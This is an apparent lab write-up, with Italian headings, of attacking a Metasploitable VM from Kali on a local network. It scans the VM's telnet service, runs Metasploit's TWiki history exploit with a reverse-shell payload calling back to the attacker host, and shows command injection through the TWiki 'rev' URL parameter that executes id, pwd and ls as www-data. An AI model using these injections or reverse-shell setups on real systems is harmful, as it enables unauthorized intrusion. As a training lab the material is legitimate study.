

Configurazione ip macchine Kali e Metasploitable

```
(kali㉿kali)-[~]
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 08:00:27:43:73:bc brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.25/24 brd 192.168.1.255 scope global noprefixroute eth0
        valid_lft forever preferred_lft forever
    inet6 fe80::fb56:e4e6:a453:520f/64 scope link noprefixroute
        valid_lft forever preferred_lft forever
```

To access official Ubuntu documentation, please visit:

<http://help.ubuntu.com/>

No mail.

msfadmin@metasploitable:~\$ ifconfig

```
eth0      Link encap:Ethernet  HWaddr 08:00:27:d0:01:23
          inet addr:192.168.1.40  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fed0:123/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:57 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:4214 (4.1 KB)
          Base address:0xd020 Memory:f0200000-f0220000
```

```
lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:106 errors:0 dropped:0 overruns:0 frame:0
          TX packets:106 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:20757 (20.2 KB)  TX bytes:20757 (20.2 KB)
```

msfadmin@metasploitable:~\$

```
(kali㉿kali)-[~]
$ ping -c 1 192.168.1.40
PING 192.168.1.40 (192.168.1.40) 56(84) bytes of data:
64 bytes from 192.168.1.40: icmp_seq=1 ttl=64 time=0.716 ms
--- 192.168.1.40 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.716/0.716/0.716/0.000 ms
```

```

msfadmin@metasploitable:~$ ping -c 1 192.168.1.25
PING 192.168.1.25 (192.168.1.25) 56(84) bytes of data.
64 bytes from 192.168.1.25: icmp_seq=1 ttl=64 time=0.387 ms

--- 192.168.1.25 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.387/0.387/0.387/0.000 ms
msfadmin@metasploitable:~$ _

```

Exploit Telnet

```

msf6 > use auxiliary/scanner/telnet/telnet_version
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):



| Name     | Current Setting | Required | Description                                                                                                                                                                                         |
|----------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| PASSWORD |                 | no       | The password for the specified username                                                                                                                                                             |
| RHOSTS   |                 | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT    | 23              | yes      | The target port (TCP)                                                                                                                                                                               |
| THREADS  | 1               | yes      | The number of concurrent threads (max one per host)                                                                                                                                                 |
| TIMEOUT  | 30              | yes      | Timeout for the Telnet probe                                                                                                                                                                        |
| USERNAME |                 | no       | The username to authenticate as                                                                                                                                                                     |



View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/telnet/telnet_version) > setg rhosts 192.168.1.40
rhosts => 192.168.1.40
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):



| Name     | Current Setting | Required | Description                                                                                                                                                                                         |
|----------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| PASSWORD |                 | no       | The password for the specified username                                                                                                                                                             |
| RHOSTS   | 192.168.1.40    | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT    | 23              | yes      | The target port (TCP)                                                                                                                                                                               |
| THREADS  | 1               | yes      | The number of concurrent threads (max one per host)                                                                                                                                                 |
| TIMEOUT  | 30              | yes      | Timeout for the Telnet probe                                                                                                                                                                        |
| USERNAME |                 | no       | The username to authenticate as                                                                                                                                                                     |



View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/telnet/telnet_version) > exploit
[*] 192.168.1.40:23 - 192.168.1.40:23 TELNET
[*] 192.168.1.40:23 - Scanned 1 or 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/telnet/telnet_version) >

```



```
msfadmin@metasploitable:~$ whoami
msfadmin
msfadmin@metasploitable:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:d0:01:23 brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.40/24 brd 192.168.1.255 scope global eth0
    inet6 fe80::a00:27ff:fed0:123/64 scope link
        valid_lft forever preferred_lft forever
msfadmin@metasploitable:~$ █
```

Exploit TWiki

```
msf6 > search twiki home

Matching Modules



| # | Name                                    | Disclosure Date | Rank      | Check | Description                                              |
|---|-----------------------------------------|-----------------|-----------|-------|----------------------------------------------------------|
| 0 | exploit/unix/webapp/moinmoin_twiki_draw | 2012-12-30      | manual    | Yes   | MoinMoin Twiki draw Action Traversal File Upload         |
| 1 | exploit/unix/http/twiki_debug_plugins   | 2014-10-09      | excellent | Yes   | Twiki Debugenableplugins Remote Code Execution           |
| 2 | exploit/unix/webapp/twiki_history       | 2005-09-14      | excellent | Yes   | Twiki History TwikiUsers rev Parameter Command Execution |
| 3 | exploit/unix/webapp/twiki_maketext      | 2012-12-15      | excellent | Yes   | Twiki MAKETEXT Remote Command Execution                  |
| 4 | exploit/unix/webapp/twiki_search        | 2004-10-01      | excellent | Yes   | Twiki Search Function Arbitrary Command Execution        |



Interact with a module by name or index. For example info 4, use 4 or use exploit/unix/webapp/twiki_search

msf6 > use 2
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/twiki_history) > show options

Module options (exploit/unix/webapp/twiki_history):



| Name    | Current Setting | Required | Description                                                                                            |
|---------|-----------------|----------|--------------------------------------------------------------------------------------------------------|
| Proxies |                 | no       | A proxy chain of format type:host:port[,type:host:port][...]                                           |
| RHOSTS  |                 | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| RPORT   | 80              | yes      | The target port (TCP)                                                                                  |
| SSL     | false           | no       | Negotiate SSL/TLS for outgoing connections                                                             |
| URI     | /twiki/bin      | yes      | Twiki bin directory path                                                                               |
| VHOST   |                 | no       | HTTP server virtual host                                                                               |



Payload options (cmd/unix/python/meterpreter/reverse_tcp):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.1.25    | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:



| Id | Name      |
|----|-----------|
| 0  | Automatic |



View the full module info with the info, or info -d command.

msf6 exploit(unix/webapp/twiki_history) > set rhosts 192.168.1.40
rhosts => 192.168.1.40
msf6 exploit(unix/webapp/twiki_history) > 
```

```
msf6 exploit(unix/webapp/twiki_history) > show payloads
```

Compatible Payloads

#	Name	Disclosure Date	Rank	Check	Description
0	payload/cmd/unix/adduser	.	normal	No	Add user with useradd
1	payload/cmd/unix/bind_awk	.	normal	No	Unix Command Shell, Bind TCP (via AWK)
2	payload/cmd/unix/bind_aws_instance_connect	.	normal	No	Unix SSH Shell, Bind Instance Connect (via AWS API)
3	payload/cmd/unix/bind_busybox_telnetd	.	normal	No	Unix Command Shell, Bind TCP (via BusyBox telnetd)
4	payload/cmd/unix/bind_inetd	.	normal	No	Unix Command Shell, Bind TCP (inetd)
5	payload/cmd/unix/bind_jjs	.	normal	No	Unix Command Shell, Bind TCP (via jjs)
6	payload/cmd/unix/bind_lua	.	normal	No	Unix Command Shell, Bind TCP (via Lua)
7	payload/cmd/unix/bind_netcat	.	normal	No	Unix Command Shell, Bind TCP (via netcat)
8	payload/cmd/unix/bind_netcat_gaping	.	normal	No	Unix Command Shell, Bind TCP (via netcat -e)
9	payload/cmd/unix/bind_netcat_gaping_ipv6	.	normal	No	Unix Command Shell, Bind TCP (via netcat -e) IPv6
10	payload/cmd/unix/bind_perl	.	normal	No	Unix Command Shell, Bind TCP (via Perl)
11	payload/cmd/unix/bind_perl_ipv6	.	normal	No	Unix Command Shell, Bind TCP (via perl) IPv6
12	payload/cmd/unix/bind_r	.	normal	No	Unix Command Shell, Bind TCP (via R)
13	payload/cmd/unix/bind_ruby	.	normal	No	Unix Command Shell, Bind TCP (via Ruby)
14	payload/cmd/unix/bind_ruby_ipv6	.	normal	No	Unix Command Shell, Bind TCP (via Ruby) IPv6
15	payload/cmd/unix/bind_socat_sctp	.	normal	No	Unix Command Shell, Bind SCTP (via socat)
16	payload/cmd/unix/bind_socat_udp	.	normal	No	Unix Command Shell, Bind UDP (via socat)
17	payload/cmd/unix/bind_stub	.	normal	No	Unix Command Shell, Bind TCP (stub)
18	payload/cmd/unix/bind_zsh	.	normal	No	Unix Command Shell, Bind TCP (via Zsh)
19	payload/cmd/unix/generic	.	normal	No	Unix Command, Generic Command Execution
20	payload/cmd/unix/pingback_bind	.	normal	No	Unix Command Shell, Pingback Bind TCP (via netcat)
21	payload/cmd/unix/pingback_reverse	.	normal	No	Unix Command Shell, Pingback Reverse TCP (via netcat)
22	payload/cmd/unix/python/meterpreter/bind_tcp	.	normal	No	Python Exec, Python Meterpreter, Python Bind TCP Stager
23	payload/cmd/unix/python/meterpreter/bind_tcp_uuid	.	normal	No	Python Exec, Python Meterpreter, Python Bind TCP Stager with UUID Support
24	payload/cmd/unix/python/meterpreter/reverse_http	.	normal	No	Python Exec, Python Meterpreter, Python Reverse HTTP Stager
25	payload/cmd/unix/python/meterpreter/reverse_https	.	normal	No	Python Exec, Python Meterpreter, Python Reverse HTTPS Stager
26	payload/cmd/unix/python/meterpreter/reverse_tcp	.	normal	No	Python Exec, Python Meterpreter, Python Reverse TCP Stager
27	payload/cmd/unix/python/meterpreter/reverse_tcp_ssl	.	normal	No	Python Exec, Python Meterpreter, Python Reverse TCP SSL Stager
28	payload/cmd/unix/python/meterpreter/reverse_tcp_uuid	.	normal	No	Python Exec, Python Meterpreter, Python Reverse TCP Stager with UUID Support
29	payload/cmd/unix/python/meterpreter/bind_tcp	.	normal	No	Python Exec, Python Meterpreter Shell, Bind TCP Inline
30	payload/cmd/unix/python/meterpreter_reverse_http	.	normal	No	Python Exec, Python Meterpreter Shell, Reverse HTTP Inline
31	payload/cmd/unix/python/meterpreter_reverse_https	.	normal	No	Python Exec, Python Meterpreter Shell, Reverse HTTPS Inline
32	payload/cmd/unix/python/meterpreter_reverse_tcp	.	normal	No	Python Exec, Python Meterpreter Shell, Reverse TCP Inline
33	payload/cmd/unix/python/pingback_bind_tcp	.	normal	No	Python Exec, Python Pingback, Bind TCP (via python)
34	payload/cmd/unix/python/pingback_reverse_tcp	.	normal	No	Python Exec, Python Pingback, Reverse TCP (via python)
35	payload/cmd/unix/python/shell_bind_tcp	.	normal	No	Python Exec, Command Shell, Bind TCP (via python)
36	payload/cmd/unix/python/shell_reverse_sctp	.	normal	No	Python Exec, Command Shell, Reverse SCTP (via python)
37	payload/cmd/unix/python/shell_reverse_tcp	.	normal	No	Python Exec, Command Shell, Reverse TCP (via python)
38	payload/cmd/unix/python/shell_reverse_tcp_ssl	.	normal	No	Python Exec, Command Shell, Reverse TCP SSL (via python)
39	payload/cmd/unix/python/shell_reverse_udp	.	normal	No	Python Exec, Command Shell, Reverse UDP (via python)
40	payload/cmd/unix/reverse	.	normal	No	Unix Command Shell, Double Reverse TCP (telnet)
41	payload/cmd/unix/reverse_awk	.	normal	No	Unix Command Shell, Reverse TCP (via AWK)
42	payload/cmd/unix/reverse_bash	.	normal	No	Unix Command Shell, Reverse TCP (/dev/tcp)
43	payload/cmd/unix/reverse_bash_telnet_ssl	.	normal	No	Unix Command Shell, Reverse TCP SSL (telnet)
44	payload/cmd/unix/reverse_bash_udp	.	normal	No	Unix Command Shell, Reverse UDP (/dev/udp)

```

msf6 exploit(unix/webapp/twiki_history) > set payload 40
payload => cmd/unix/reverse
msf6 exploit(unix/webapp/twiki_history) > show options

Module options (exploit/unix/webapp/twiki_history):



| Name    | Current Setting | Required | Description                                                                                            |
|---------|-----------------|----------|--------------------------------------------------------------------------------------------------------|
| Proxies |                 | no       | A proxy chain of format type:host:port[,type:host:port][ ... ]                                         |
| RHOSTS  | 192.168.1.40    | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| RPORT   | 80              | yes      | The target port (TCP)                                                                                  |
| SSL     | false           | no       | Negotiate SSL/TLS for outgoing connections                                                             |
| URI     | /twiki/bin      | yes      | Twiki bin directory path                                                                               |
| VHOST   |                 | no       | HTTP server virtual host                                                                               |



Payload options (cmd/unix/reverse):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.1.25    | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:



| Id | Name      |
|----|-----------|
| 0  | Automatic |




View the full module info with the info, or info -d command.

msf6 exploit(unix/webapp/twiki_history) > exploit


[*] Started reverse TCP double handler on 192.168.1.25:4444
[+] Successfully sent exploit request
[*] Exploit completed, but no session was created.
msf6 exploit(unix/webapp/twiki_history) >

```

 TWiki . Main . TWikiUsers (r1. x) +

192.168.1.40/twiki/bin/view/Main/TWikiUsers?rev=2 |id||echo%20

Kali Linux Kali Tools Kali Forums Kali Docs NetHunter Offensive Security MSFU Exploit-DB GHDB


 **TWiki** > [Main](#) > **TWikiUsers** (r1.2 |id||echo)

Main . { [Users](#) | [Groups](#) | [Offices](#) | [Changes](#) | [Index](#) | [Search](#) | Go }

uid=33(www-data) gid=33(www-data) groups=33(www-data)


Topic **TWikiUsers** . { [Edit](#) | [Attach](#) | [Ref-By](#) | [Printable](#) | [Diffs](#) | [r1.16](#) | [≥](#) | [r1.15](#) | [≥](#) | [r1.14](#) | [More](#) }

Revision r1.2 |id||echo - 01 Jan 1970 - 00:00 GMT -

 TWiki . Main . TWikiUsers (r1. x) +

192.168.1.40/twiki/bin/view/Main/TWikiUsers?rev=2 |pwd||echo%20

Kali Linux Kali Tools Kali Forums Kali Docs NetHunter Offensive Security MSFU Exploit-DB GHDB

 **TWiki** > [Main](#) > **TWikiUsers** (r1.2 |pwd||echo)

Main . { [Users](#) | [Groups](#) | [Offices](#) | [Changes](#) | [Index](#) | [Search](#) | Go }

/var/www/twiki/bin

Topic **TWikiUsers** . { [Edit](#) | [Attach](#) | [Ref-By](#) | [Printable](#) | [Diffs](#) | [r1.16](#) | [≥](#) | [r1.15](#) | [≥](#) | [r1.14](#) | [More](#) }

Revision r1.2 |pwd||echo - 01 Jan 1970 - 00:00 GMT -

FWiki . Main . TWikiUsers (r1.2 |ls|echo)

192.168.1.40/twiki/bin/view/Main/TWikiUsers?rev=2 |ls|echo%20

Kali Linux Kali Tools Kali Forums Kali Docs NetHunter Offensive Security MSFU Exploit-DB GHDB

 **FWiki** > [Main](#) > **TWikiUsers** (r1.2 |ls|echo)

Main . { [Users](#) | [Groups](#) | [Offices](#) | [Changes](#) | [Index](#) | [Search](#) | Go }

[attach](#) [changes](#) [edit](#) [geturl](#) [installpasswd](#) [mailnotify](#) [manage](#) [oops](#) [passwd](#) [preview](#) [rdiff](#) [register](#) [rename](#) [save](#) [search](#) [setlib.cfg](#) [statistics](#) [testenv](#) [upload](#) [view](#) [viewfile](#)

Topic **TWikiUsers** . { [Edit](#) | [Attach](#) | [Ref-By](#) | [Printable](#) | [Diffs](#) | [r1.16](#) | [≥](#) | [r1.15](#) | [≥](#) | [r1.14](#) | [More](#) }

Revision r1.2 |ls|echo - 01 Jan 1970 - 00:00 GMT -

Copyright © 1999-2003 by the contributing authors. All material on this c
Ideas, requests, problems regarding TWiki? [Send](#) feedback.